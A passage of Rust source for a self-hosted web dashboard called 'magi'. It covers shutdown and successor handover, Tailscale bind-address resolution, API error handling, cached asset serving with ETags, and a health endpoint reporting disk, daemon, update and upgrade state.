1786            // No handler on this platform, so there is no signal to act on.
1787            // Never resolving is the safe answer: a failed registration must
1788            // not masquerade as the operator asking for a shutdown and take
1789            // the UI down on startup.
1790            std::future::pending::<()>().await;
1791        }
1792    };
1793    let handover = wait_for_handover(&HANDOVER);
1794    let outcome = tokio::select! {
1795        joined = &mut served => match joined {
1796            Ok(outcome) => outcome.context("serve the web UI"),
1797            Err(e) => Err(e).context("the task serving the web UI ended"),
1798        },
1799        () = interrupted => {
1800            tracing::info!("shutting down the web UI; detached workers continue");
1801            close_admissions(&admissions).await;
1802            served.abort();
1803            let _ = served.await;
1804            Ok(())
1805        }
1806        () = handover => {
1807            let successor_home = home.clone();
1808            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1809        }
1810    };
1811    updater::log_step(
1812        &home,
1813        &match &outcome {
1814            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1815            Err(e) => format!("serve: returning an error: {e:#}"),
1816        },
1817    );
1818    outcome
1819}
1820
1821/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1822/// process's own working directory is not a git checkout at all - the
1823/// checkout [`repos::discover_verified`] finds instead.
1824///
1825/// Only the unmodified default is ever replaced: an operator who named a
1826/// directory outright, git checkout or not, gets exactly that directory
1827/// back, and the same story downstream (a talk whose briefing embeds a
1828/// non-git directory, and an agent that has to ask the operator where the
1829/// real repository is) that has always told them so - substituting a guess
1830/// for an explicit answer would be a second, silent opinion about what they
1831/// meant. There is no instruction or task text yet to match against this
1832/// early, so only [`repos::discover_verified`]'s own-repository tier can
1833/// ever settle this - the hint tier never fires here.
1834///
1835/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1836/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1837/// or a git installation that is broken in exactly the way that made the
1838/// original `canonical` check above fail too - so it is re-checked with
1839/// `git::toplevel` before it is ever used in place of the operator's own
1840/// directory.
1841async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1842    if repo != FsPath::new(".") {
1843        return repo;
1844    }
1845    let Ok(canonical) = repo.canonicalize() else {
1846        return repo;
1847    };
1848    if git::toplevel(&canonical).await.is_ok() {
1849        return repo;
1850    }
1851    let Some(home) = dirs::home_dir() else {
1852        return repo;
1853    };
1854    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1855        Some(found) => {
1856            tracing::info!(
1857                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1858                canonical.display(),
1859                found.path.display(),
1860                found.reason,
1861            );
1862            found.path
1863        }
1864        None => repo,
1865    }
1866}
1867
1868/// Close new ingress and finish only transactions publishing durable work.
1869/// The writer waits for owned admission guards, not task or chat turn leases.
1870async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1871    *admissions.write().await = true;
1872}
1873
1874/// Restart only the scheduler and web listener, never their execution workers.
1875/// The old listener must be fully released before the successor is started.
1876async fn hand_over(
1877    home: &FsPath,
1878    admissions: &tokio::sync::RwLock<bool>,
1879    served: tokio::task::JoinHandle<std::io::Result<()>>,
1880    successor: impl FnOnce() -> Result<u32>,
1881) -> Result<()> {
1882    close_admissions(admissions).await;
1883    if let Some(mut progress) = updater::read_progress(home) {
1884        progress.advance(updater::Stage::Restarting);
1885        progress.detail =
1886            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
1887        updater::write_progress_logged(home, &progress);
1888    }
1889    updater::log_step(
1890        home,
1891        "restarting scheduler without parking execution workers",
1892    );
1893    let scheduler = daemon::restart_detached(home).await;
1894    if let Err(error) = &scheduler {
1895        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
1896        updater::log_warn(
1897            home,
1898            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
1899        );
1900    }
1901    updater::log_step(home, "releasing the web listener");
1902    served.abort();
1903    let _ = served.await;
1904    updater::log_step(home, "web listener released; starting the successor");
1905    match successor() {
1906        Ok(pid) => {
1907            updater::log_step(home, &format!("successor started, pid {pid}"));
1908            scheduler
1909        }
1910        Err(e) => {
1911            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
1912            Err(e)
1913        }
1914    }
1915}
1916
1917/// Resolve `--bind` to an address, plus a warning when the answer is not what
1918/// the operator asked for.
1919///
1920/// Split out from [`serve`] because the interesting half - deciding whether
1921/// Tailscale gave us something usable - is testable without opening a socket.
1922pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1923    match bind {
1924        Bind::Addr(addr) => (*addr, None),
1925        Bind::Auto => match tailscale_ip() {
1926            Ok(ip) => (IpAddr::V4(ip), None),
1927            Err(why) => (
1928                IpAddr::V4(Ipv4Addr::LOCALHOST),
1929                Some(format!(
1930                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1931                     local-only and a phone cannot reach it; start Tailscale \
1932                     or pass --bind <addr>"
1933                )),
1934            ),
1935        },
1936    }
1937}
1938
1939/// This machine's Tailscale IPv4, or why there is not one.
1940///
1941/// `tailscale ip -4` is a local call against the running daemon and returns in
1942/// milliseconds, so it is fine to make it synchronously before the server
1943/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1944/// CGNAT block Tailscale assigns from, and anything else on that output would
1945/// be a different tool answering.
1946fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1947    let out = std::process::Command::new("tailscale")
1948        .args(["ip", "-4"])
1949        .quiet()
1950        .output()
1951        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1952    if !out.status.success() {
1953        let why = String::from_utf8_lossy(&out.stderr);
1954        let why = why.trim();
1955        return Err(format!(
1956            "`tailscale ip -4` failed ({}){}",
1957            out.status,
1958            if why.is_empty() {
1959                String::new()
1960            } else {
1961                format!(": {why}")
1962            }
1963        ));
1964    }
1965    String::from_utf8_lossy(&out.stdout)
1966        .lines()
1967        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1968        .find(is_tailnet)
1969        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1970}
1971
1972/// Is this address in the CGNAT block Tailscale hands out from?
1973fn is_tailnet(ip: &Ipv4Addr) -> bool {
1974    let o = ip.octets();
1975    o[0] == 100 && (64..=127).contains(&o[1])
1976}
1977
1978/// What every handler returns. Spelled out because `Result` in this crate is
1979/// `anyhow::Result`, and a handler's error is a status code as much as a
1980/// message.
1981type ApiResult<T> = std::result::Result<T, ApiError>;
1982
1983/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1984#[derive(Debug)]
1985struct ApiError {
1986    status: StatusCode,
1987    message: String,
1988    text_reason: Option<crate::question_delivery::UnavailableReason>,
1989}
1990
1991impl ApiError {
1992    /// The client asked for something malformed.
1993    fn bad_request(message: impl Into<String>) -> Self {
1994        Self {
1995            text_reason: None,
1996            status: StatusCode::BAD_REQUEST,
1997            message: message.into(),
1998        }
1999    }
2000
2001    /// No such run or task.
2002    fn not_found(message: impl Into<String>) -> Self {
2003        Self {
2004            text_reason: None,
2005            status: StatusCode::NOT_FOUND,
2006            message: message.into(),
2007        }
2008    }
2009
2010    /// Someone else owns the thing the client wants to change.
2011    /// Re-badge an error whose default mapping is wrong for this route.
2012    fn with_status(mut self, status: StatusCode) -> Self {
2013        self.status = status;
2014        self
2015    }
2016
2017    /// A rules violation from a domain type, reported as the caller's fault.
2018    /// `Question::answer` rejects an unoffered choice, and that is a bad
2019    /// request, not a server error.
2020    fn bad_request_from(e: anyhow::Error) -> Self {
2021        Self::bad_request(format!("{e:#}"))
2022    }
2023
2024    fn conflict(message: impl Into<String>) -> Self {
2025        Self {
2026            text_reason: None,
2027            status: StatusCode::CONFLICT,
2028            message: message.into(),
2029        }
2030    }
2031
2032    /// Our fault, or the disk's.
2033    fn internal(message: impl Into<String>) -> Self {
2034        Self {
2035            text_reason: None,
2036            status: StatusCode::INTERNAL_SERVER_ERROR,
2037            message: message.into(),
2038        }
2039    }
2040}
2041
2042impl From<anyhow::Error> for ApiError {
2043    /// Errors from `queue` and `run` carry their context chain, and the whole
2044    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2045    /// value at line 3" is a message an operator can act on, and there is no
2046    /// secret in a path on a single-user tailnet.
2047    fn from(e: anyhow::Error) -> Self {
2048        Self::internal(format!("{e:#}"))
2049    }
2050}
2051
2052impl IntoResponse for ApiError {
2053    fn into_response(self) -> Response {
2054        let mut body = serde_json::json!({ "error": self.message });
2055        if let Some(reason) = self.text_reason {
2056            body["code"] = serde_json::json!("question_text_unavailable");
2057            body["reason"] = serde_json::json!(reason);
2058        }
2059        (self.status, Json(body)).into_response()
2060    }
2061}
2062
2063/// Run a handler's filesystem work off the executor.
2064///
2065/// Every route that touches the disk goes through here rather than each one
2066/// arguing about whether its own read is small enough. Uniform because the
2067/// expensive case is not rare: `run.json` for a finished competition holds
2068/// every judgement, deliberation turn and review round, so listing a few
2069/// hundred runs is megabytes of parsing, and the executor threads doing it are
2070/// the same ones serving the change stream of every other connected phone.
2071async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2072where
2073    T: Send + 'static,
2074{
2075    #[cfg(test)]
2076    let job = request_cost::carry(job);
2077    match tokio::task::spawn_blocking(job).await {
2078        Ok(result) => result,
2079        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2080    }
2081}
2082
2083/// Cache policy for the three compiled-in front-end files.
2084///
2085/// The whole interface is `include_str!`ed into the binary, so its content
2086/// changes only when the binary does - and a phone that keeps a copy is
2087/// welcome to, right up until the deck is replaced. Without a single cache
2088/// header, browsers were free to invent their own policy, and one did:
2089/// yukimemi's phone went on showing "Candidates must be folded before
2090/// deleting. Run `magi fold` first." - a sentence deleted two releases
2091/// earlier - from a run detail served by a deck that no longer contained it.
2092/// The delete button he was told about was right there, and unreachable.
2093///
2094/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2095/// every time, the answer is a 304 costing one small round trip while the
2096/// deck is unchanged, and the moment it is replaced the tag differs and the
2097/// new interface arrives. Correctness over bytes - this is one file of a few
2098/// tens of kilobytes on a tailnet, and being a version behind is not a
2099/// cosmetic problem when the difference is whether a button exists.
2100const ASSET_CACHE: &str = "no-cache, must-revalidate";
2101
2102/// `ETag` for the compiled-in assets, distinct per build.
2103///
2104/// The version alone would leave a locally built deck - `cargo install
2105/// --path .` twice at the same version, which is the normal way to iterate -
2106/// serving a stale tag for changed bytes. The build timestamp is what makes
2107/// two builds of `0.3.0` differ.
2108fn asset_etag() -> &'static str {
2109    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2110        format!(
2111            "\"{}-{}\"",
2112            env!("CARGO_PKG_VERSION"),
2113            // Length is a cheap, deterministic stand-in for a hash: the
2114            // three files are compiled in together, so any edit to any of
2115            // them almost certainly changes the total, and a rebuild is what
2116            // this needs to track rather than every possible byte pattern.
2117            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2118        )
2119    });
2120    &TAG
2121}
2122
2123/// Headers for a compiled-in asset of `mime`.
2124fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2125    [
2126        (header::CONTENT_TYPE, mime),
2127        (header::CACHE_CONTROL, ASSET_CACHE),
2128        (header::ETAG, asset_etag()),
2129    ]
2130}
2131
2132/// Serve a compiled-in asset, answering `304` when the client already has it.
2133///
2134/// axum does not compare `If-None-Match` for us, and a header the server sets
2135/// but never honours is worse than none: the phone revalidates on every load
2136/// and is handed the whole file back each time. Doing the comparison is what
2137/// makes `must-revalidate` cost one small round trip rather than the
2138/// interface.
2139fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2140    let tag = asset_etag();
2141    let known = headers
2142        .get(header::IF_NONE_MATCH)
2143        .and_then(|v| v.to_str().ok())
2144        // A revalidating client may send several, and a proxy may weaken the
2145        // tag to `W/"..."`; matching on containment covers both without
2146        // parsing the grammar.
2147        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2148    if known {
2149        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2150    }
2151    (asset_headers(mime), body).into_response()
2152}
2153
2154async fn index(headers: header::HeaderMap) -> Response {
2155    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2156}
2157
2158async fn app_css(headers: header::HeaderMap) -> Response {
2159    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2160}
2161
2162async fn app_js(headers: header::HeaderMap) -> Response {
2163    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2164}
2165
2166/// What `/api/health` answers.
2167#[derive(Debug, Serialize)]
2168struct HealthView {
2169    version: &'static str,
2170    home: String,
2171    queue_rev: u64,
2172    runs_rev: u64,
2173    /// The same revisions [`events`] streams for the question and talk
2174    /// stores.
2175    ///
2176    /// Here because this route is what the front end falls back to when the
2177    /// change stream is not up - it re-polls health on a timer and on wake, and
2178    /// takes the revisions from the answer. Without these the fallback
2179    /// compares `undefined` against `undefined` for both stores, decides
2180    /// nothing moved, and a phone with a dead stream never learns that a
2181    /// question was asked or that a talk took a turn. `queue_rev` and
2182    /// `runs_rev` above have always been here for exactly this reason; the rule
2183    /// is that every revision the stream carries, this route carries too.
2184    questions_rev: u64,
2185    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2186    talks_rev: u64,
2187    /// See [`HealthView::questions_rev`]. The notification centre's store.
2188    notifications_rev: u64,
2189    /// Notifications nobody has read yet: the bell's badge before
2190    /// `/api/notifications` has answered.
2191    notifications_unread: usize,
2192    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2193    /// is not on disk anywhere, so a phone with no change stream has no other
2194    /// way to notice that the loop it is waiting on was started from another
2195    /// device.
2196    loop_rev: u64,
2197    /// Runs on disk whose state this build cannot parse - almost always a
2198    /// schema bump, occasionally a run killed mid-write.
2199    ///
2200    /// Reported because the list silently skips them, and "no competitions
2201    /// yet" is a lie when six of them are sitting in the runs directory. The
2202    /// terminal deck learned the same lesson: a run that fails to parse must
2203    /// not disappear from the count.
2204    runs_unreadable: usize,
2205    /// The disk, and what the runs and their worktrees occupy on it.
2206    ///
2207    /// This is the incident the janitor exists for: magi alone put 30 GB into
2208    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2209    /// is exactly where the operator learns "the disk is the constraint" -
2210    /// the diagnosis that a run is being held for want of space has to be
2211    /// checkable on the same screen.
2212    disk: DiskView,
2213    /// Questions nobody has answered yet, including ones an owner talked
2214    /// back on and is now waiting for the agent's reply to. A round trip
2215    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2216    /// while the ball is in the agent's court - see
2217    /// [`crate::ask::Questions::count_open`].
2218    questions_open: usize,
2219    /// Of those, how many actually need the owner right now: open, and not
2220    /// [`crate::ask::Question::waiting_on_agent`].
2221    ///
2222    /// The one number that means "nothing will happen until a human acts" -
2223    /// a parked run consumes nothing and progresses never - and the count the
2224    /// ask bar, the nav badge and the document title fall back to before
2225    /// `/api/questions` has answered, so those notification channels clear
2226    /// the instant the owner asks back and reappear the instant the agent
2227    /// replies, instead of sitting lit for however long the agent thinks.
2228    questions_needs_owner: usize,
2229    daemon: DaemonView,
2230    /// The independently controllable scheduler, as `/api/loop` reports it.
2231    ///
2232    /// Here so a phone that has just woken needs one request to know whether
2233    /// anything is going to happen at all: `daemon` says a loop is alive
2234    /// somewhere, and this says whether it is one this UI can stop.
2235    #[serde(rename = "loop")]
2236    looping: LoopView,
2237    /// Whether a release newer than this build is known, and which.
2238    ///
2239    /// From [`updater::Checker::cached_update`] - the same throttled state the
2240    /// CLI's `notify` mode banners from - never a live check: this route is
2241    /// polled every few seconds, and a live check on each poll would spend
2242    /// GitHub's rate limit before the operator finished reading the strip.
2243    update: UpdateView,
2244    /// The self-upgrade this deck last set in motion, or `null` before the
2245    /// first one. Read off disk, so the successor can report what its
2246    /// predecessor started.
2247    upgrade: Option<UpgradeProgressView>,
2248    /// Detached jobs survive replacement of this web process. Each reports
2249    /// its own immutable executable generation rather than the web version.
2250    jobs: Vec<WorkerView>,
2251    upgrade_request_error: Option<UpgradeRequestFailure>,
2252}
2253
2254/// Public execution metadata only. Job payloads contain private configuration
2255/// and must never be returned by the health endpoint.
2256#[derive(Debug, Serialize)]
2257struct WorkerView {
2258    id: String,
2259    kind: String,
2260    key: String,
2261    pid: Option<u32>,
2262    status: crate::worker::Status,
2263    generation: String,
2264    version: Option<String>,
2265    queue_owned: bool,
2266}
2267
2268impl From<crate::worker::Job> for WorkerView {
2269    fn from(job: crate::worker::Job) -> Self {
2270        let queue_owned = job.kind == "task"
2271            && job
2272                .payload
2273                .get("standalone")
2274                .and_then(serde_json::Value::as_bool)
2275                != Some(true);
2276        Self {
2277            id: job.id,
2278            kind: job.kind,
2279            key: job.key,
2280            pid: job.pid,
2281            status: job.status,
2282            generation: job.generation,
2283            version: job.version,
2284            queue_owned,
2285        }
2286    }
2287}
2288
2289/// What `/api/health` knows about a release newer than this build.
2290///
2291/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2292/// is already the newest" from "never checked" - both are `None` - and the
2293/// phone needs to tell those apart to decide whether the deck can be trusted
2294/// to have an opinion at all.
2295#[derive(Debug, Serialize)]
2296struct UpdateView {
2297    /// A newer release is known to exist.
2298    available: bool,
2299    /// Its tag, when `available`.
2300    to: Option<String>,
2301}
2302
2303/// [`updater::Progress`] as `/api/health` reports it.
2304#[derive(Debug, Serialize)]
2305struct UpgradeProgressView {
2306    stage: updater::Stage,
2307    from: String,
2308    to: Option<String>,
2309    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2310    /// the step it is finishing before the address is handed over.
2311    waiting_on: Option<String>,
2312    started_at: Timestamp,
2313    updated_at: Timestamp,
2314    detail: Option<String>,
2315    /// Seconds the stage has outlived its allowance, when it has - see
2316    /// [`updater::stall`]. `null` while the stage is moving normally.
2317    stuck_for_secs: Option<i64>,
2318    /// Which kind of stuck: `never_entered` (hand_over left no record of
2319    /// starting) or `stopped_beating`. `null` when not stuck.
2320    stuck_kind: Option<updater::StallKind>,
2321    /// `hand_over` is alive and waiting on the loop: however long that takes,
2322    /// it is not an overdue upgrade.
2323    handover_alive: bool,
2324}
2325
2326/// Whether [`run_update_recheck`] may act at all this tick.
2327///
2328/// The same two conditions [`updater::Checker::new`] and
2329/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2330/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2331/// GitHub from this process" - on a button press or on a timer alike.
2332fn should_spawn_recheck(cfg: &Update) -> bool {
2333    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2334}
2335
2336/// Whether this tick should actually reach the network, once checking itself
2337/// is allowed.
2338///
2339/// An upgrade already in flight must not be raced by a check that discovers
2340/// a *newer* release while one is still installing - a phone watching
2341/// `/api/health` would see the answer change out from under the upgrade it
2342/// already asked for. Past that, [`updater::Checker::should_check`] is the
2343/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2344/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2345/// polling period, is what keeps this task's network use to at most once per
2346/// `[update] interval` regardless of how often it wakes up.
2347fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2348    if progress.is_some_and(|p| !p.stage.terminal()) {
2349        return false;
2350    }
2351    checker.should_check()
2352}
2353
2354/// How long [`run_update_recheck`] sleeps before its next wake-up.
2355///
2356/// A fraction of the configured `[update] interval` rather than a fixed
2357/// number: a fixed sleep longer than a short custom interval would leave the
2358/// deck waiting on its own wake-up rather than on `should_check`, so an
2359/// operator who set `interval = "1m"` to make the UI catch up quickly would
2360/// not see that take effect until the next restart - exactly the bug this
2361/// task exists to fix, just moved one level down. Scaling with the interval
2362/// keeps the wake-up prompt relative to what was actually configured, while
2363/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2364/// still what caps the network calls themselves at one per interval,
2365/// regardless of how often this fires.
2366fn recheck_poll_period(cfg: &Update) -> Duration {
2367    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2368}
2369
2370/// Keep `/api/health`'s `update` field current for as long as `magi web`
2371/// stays up.
2372///
2373/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2374/// which is enough for every other command: they exit in seconds. `magi web`
2375/// can run for days, so a single startup check leaves the cache - and the
2376/// phone's "Update & restart" button, which reads it via
2377/// [`cached_update_view`] - frozen on whatever that one look found, however
2378/// many releases ship afterwards. This is what notices the rest of them,
2379/// re-reading the config each tick so a `magi.toml` edit while the server is
2380/// up takes effect without a restart, the same way every other route here
2381/// already does - both for whether checking is on at all and for how long
2382/// the next sleep should be.
2383///
2384/// Notification-only even in install mode: a timer refreshes release metadata,
2385/// while the explicit update action owns executable replacement and restart.
2386async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2387    loop {
2388        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2389        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2390        if !should_spawn_recheck(&cfg.update) {
2391            continue;
2392        }
2393        let Some(checker) = updater::Checker::new(&cfg.update) else {
2394            continue;
2395        };
2396        let progress = updater::read_progress(&home);
2397        if !update_recheck_due(&checker, progress.as_ref()) {
2398            continue;
2399        }
2400        if let Err(e) = checker.newer_release().await {
2401            tracing::warn!("background update recheck failed: {e:#}");
2402        }
2403    }
2404}
2405
2406/// [`UpdateView`] from the same throttled, disk-only state
2407/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2408/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2409/// no cached state at all, which is correct: an operator who turned checking
2410/// off gets no opinion, not a stale one.
2411fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2412    let default;
2413    let cfg = match cfg {
2414        Some(cfg) => cfg,
2415        None => {
2416            default = Config::default();
2417            &default
2418        }
2419    };
2420    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2421    match latest {
2422        Some(latest) => UpdateView {
2423            available: true,
2424            to: Some(latest.tag_name),
2425        },
2426        None => UpdateView {
2427            available: false,
2428            to: None,
2429        },
2430    }
2431}
2432
2433/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2434/// from the parked run's own state when the stage is
2435/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2436/// already on disk in `run.json`, so this reads them fresh rather than
2437/// trusting whatever was true the moment the park was requested.
2438fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2439    let now = Timestamp::now();
2440    let lease = updater::read_lease(&ui.home);
2441    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2442    let run_id = alive
2443        .and_then(|l| l.parked_run.as_deref())
2444        .or(progress.parked_run.as_deref());
2445    let parking = progress.stage == updater::Stage::Parking;
2446    let waited = alive.map_or_else(String::new, |l| {
2447        let secs = updater::waited_secs(l, now);
2448        format!(" (waited {} min so far)", secs / 60)
2449    });
2450    let run_text = run_id
2451        .filter(|_| parking)
2452        .map(|id| match read_run(&ui.runs, id).ok() {
2453            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2454            None => format!("run {id} is finishing"),
2455        });
2456    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2457        .filter(|t| parking && !t.is_empty())
2458        .map(|t| format!("{t} finishing"));
2459    let waiting_on = match (run_text, talks_text) {
2460        (None, None) => None,
2461        (run, talks) => {
2462            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2463            Some(format!(
2464                "{} before the address is handed over{waited}",
2465                parts.join(" and ")
2466            ))
2467        }
2468    };
2469    let detail = progress
2470        .detail
2471        .clone()
2472        .or_else(|| updater::read_note(&ui.home, &progress));
2473    let stalled = updater::stall(&progress, lease.as_ref(), now);
2474    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2475    UpgradeProgressView {
2476        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2477        stuck_kind: stalled.map(|s| s.kind),
2478        handover_alive: alive.is_some(),
2479        stage: progress.stage,
2480        from: progress.from,
2481        to: progress.to,
2482        waiting_on,
2483        started_at: progress.started_at,
2484        updated_at: progress.updated_at,
2485        detail,
2486    }
2487}
2488
2489/// The disk figures `/api/health` carries. Every number is produced by
2490/// [`crate::disk`], the same code that decides a run may not start, so the
2491/// health screen and the gate cannot disagree about what the machine looks
2492/// like.
2493#[derive(Debug, Serialize)]
2494struct DiskView {
2495    /// Free bytes on the volume holding the runs, when measurable.
2496    #[serde(skip_serializing_if = "Option::is_none")]
2497    free_bytes: Option<u64>,
2498    /// Everything the runs directory occupies, unreadable runs included.
2499    runs_bytes: u64,
2500    /// Everything the runs' worktrees occupy.
2501    worktrees_bytes: u64,
2502    /// The shared build cache's size, when the config names one.
2503    #[serde(skip_serializing_if = "Option::is_none")]
2504    cache_bytes: Option<u64>,
2505    /// Last bounded cleanup report, including retention and failure reasons.
2506    retention: Option<crate::retention::Report>,
2507}
2508
2509impl DiskView {
2510    /// Measure the three directories and re-read the config's cache.
2511    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2512        let cache_bytes = cfg
2513            .and_then(|cfg| cfg.cache_dir())
2514            .map(|dir| crate::disk::dir_size(&dir));
2515        Self {
2516            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2517            runs_bytes: crate::disk::dir_size(&ui.runs),
2518            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2519            cache_bytes,
2520            retention: ui
2521                .runs
2522                .parent()
2523                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2524                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2525        }
2526    }
2527}
2528
2529/// The daemon's state as the UI presents it.
2530#[derive(Debug, Serialize)]
2531struct DaemonView {
2532    running: bool,
2533    idle: Option<bool>,
2534    pid: Option<u32>,
2535    /// Every task and run currently in flight. Empty when idle; more than
2536    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2537    /// run going at once.
2538    current: Vec<daemon::Current>,
2539    completed: Option<u64>,
2540    stale_for_secs: Option<i64>,
2541}
2542
2543impl DaemonView {
2544    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2545    /// not this UI's — a crashed daemon must not look alive here while
2546    /// `doctor` calls it dead.
2547    fn of(status: Option<daemon::Reading>) -> Self {
2548        let Some(status) = status else {
2549            return Self {
2550                running: false,
2551                idle: None,
2552                pid: None,
2553                current: Vec::new(),
2554                completed: None,
2555                stale_for_secs: None,
2556            };
2557        };
2558        let now = Timestamp::now();
2559        let age = status.age_secs(now);
2560        Self {
2561            running: status.running(now),
2562            idle: Some(status.idle),
2563            pid: status.pid,
2564            current: status.current,
2565            completed: Some(status.completed),
2566            stale_for_secs: age,
2567        }
2568    }
2569}
2570
2571async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2572    let revisions = ui.monitor.revisions(&ui).await?;
2573    blocking(move || {
2574        // One read of the status file for the two fields that describe it, so
2575        // `daemon` and `loop` in the same answer cannot disagree about who is
2576        // running the loop.
2577        let reading = daemon::read_status(&ui.home);
2578        // Read on its own line, not inside the literal below: the loop's lock
2579        // is not reentrant, and a guard taken as a temporary there would still
2580        // be held when `loop_view` took it again.
2581        let loop_rev = ui.lock_loop().rev;
2582        // One discover for both views: each is a few git processes plus a
2583        // config render, and neither depends on anything the other reads.
2584        let cfg = deputy_config(&ui.repo);
2585        let update = cached_update_view(cfg.as_ref());
2586        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2587        let questions = ui.questions.list();
2588        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
2589        #[cfg(not(test))]
2590        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
2591        #[cfg(test)]
2592        let looping = ui.loop_view(reading.clone());
2593        Ok(Json(HealthView {
2594            jobs: jobs.into_iter().map(WorkerView::from).collect(),
2595            version: env!("CARGO_PKG_VERSION"),
2596            home: ui.home.display().to_string(),
2597            queue_rev: revisions.0,
2598            runs_rev: revisions.1,
2599            questions_rev: revisions.2,
2600            talks_rev: revisions.3,
2601            notifications_rev: stamps_revision(
2602                &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2603            ),
2604            notifications_unread: ui.notices.count_unread(),
2605            loop_rev,
2606            runs_unreadable: runs_unreadable(&ui.runs),
2607            questions_open: questions.iter().filter(|q| q.status.open()).count(),
2608            questions_needs_owner: questions
2609                .iter()
2610                .filter(|q| {
2611                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2612                })
2613                .count(),
2614            daemon: DaemonView::of(reading),
2615            looping,
2616            disk: DiskView::of(&ui, cfg.as_ref()),
2617            update,
2618            upgrade,
2619            upgrade_request_error: ui
2620                .upgrade_request_error
2621                .lock()
2622                .unwrap_or_else(PoisonError::into_inner)
2623                .clone(),
2624        }))
2625    })
2626    .await
2627}
2628
2629/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2630#[derive(Debug, Serialize)]
2631struct LoopView {
2632    /// A scheduler is running, independently of this web process.
2633    running: bool,
2634    /// The scheduler has been asked to stop scheduling new work.
2635    stopping: bool,
2636    /// An explicit operator park was requested, independently from updates.
2637    parking: bool,
2638    /// This scheduler supports durable controls from any web generation.
2639    owned: bool,
2640    /// Repository the loop uses for tasks that name none - what it was
2641    /// started with while it runs, and what a start would use before that.
2642    repo: String,
2643    /// Merge mode override in force, or `null` when each repository's own
2644    /// config decides.
2645    merge: Option<String>,
2646    /// Why the last loop in this process ended, when it ended badly.
2647    ///
2648    /// The only place a crashed loop is visible to someone holding a phone.
2649    /// It is logged at error level as well, but a terminal nobody kept open
